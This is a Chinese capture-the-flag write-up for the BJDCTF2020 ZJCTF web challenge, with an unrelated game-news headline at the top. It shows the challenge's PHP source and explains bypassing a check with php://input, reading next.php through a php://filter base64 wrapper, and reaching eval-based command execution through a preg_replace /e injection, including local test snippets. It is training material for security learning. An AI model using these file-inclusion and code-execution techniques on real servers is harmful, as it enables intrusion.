索尼 PlayStation 新一期 State of Play 將於 10 月 28 日舉行,公佈多款第三方遊戲
[BJDCTF2020]ZJCTF,不過如此
開啟靶場
直接給了原始碼
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
有兩個引數,text引數用來開啟一個檔案,檔案內容必須為I have a dream才能通過檢查
這種情況可以想到用PHP的偽協議input來封裝這個檔案,具體方法
text傳參php://input,在post部分寫入檔案內容I have a dream
點選提交可以發現,輸出了一句話,這句話就是file_get_contents函式的輸出結果,證明我們已經通過了if的檢查
接著讀程式碼可以發現,file引數的傳值中不能出現flag,下面還給出了一個提示:next.php,但不知道里面寫了啥,所以可以繼續利用PHP偽協議檢視檔案內容,具體方法
構造?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input,即可將檔案內容以base64編碼輸出,最後只需解碼即可
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', //修正符:e 配合函式preg_replace()使用, 可以把匹配來的字串當作正則表示式執行; 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
對 $_GET as $re => $str
的理解:
這是一個動態賦值的過程,即會將get請求中的引數名作為鍵$re,引數對應的值作為鍵值$str
正則匹配/e的問題
http://www.xinyueseo.com/websecurity/158.html
讀了好幾遍,真的不能理解,於是只能在本地測試嘗試理解
多次本地測試總結:
程式碼環境:
<?php function complexStrtolower( $regex, $value){ return preg_replace('/('. $regex.')/ei','strtolower("\\1")',$value); } foreach ($_GET as $regex => $value){ echo complexStrtolower($regex, $value)."n"; } ?>
程式碼環境:
<?php var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}')); ?>
程式碼:
<?php var_dump(strtolower("\\1")); ?>
程式碼:
<?php var_dump(preg_replace('/(hello)/ei','\1','hello world!')); ?>
程式碼:
<?php var_dump(preg_replace('/(hello)/ei','goodby','hello world!')); ?>
大概瞭解了,正則匹配中\1代表自己,對應上面就是hello被替換成了自己
繼續測試
程式碼:
<?php var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}')); ?>
程式碼:
<?php function die1(){ die("!!!!!"); } var_dump(preg_replace('/(.*)/ei','\1','${die1()}')); ?>
測試發現在${}中可以呼叫函式
這樣的話,那這題就有思路了,我們可以呼叫getFlag()函式,再傳入cmd引數執行命令即可
由於上面那篇大佬的文章也提到了,對於傳入的非法的 $_GET 陣列引數名,會將其轉換成下劃線,所以直接傳.*會無效
但用大佬給的方法,將.*改成\S*也可以輕鬆繞過,於是重新構造payload,訪問物件此時應該變成next.php了
即可拿到flag!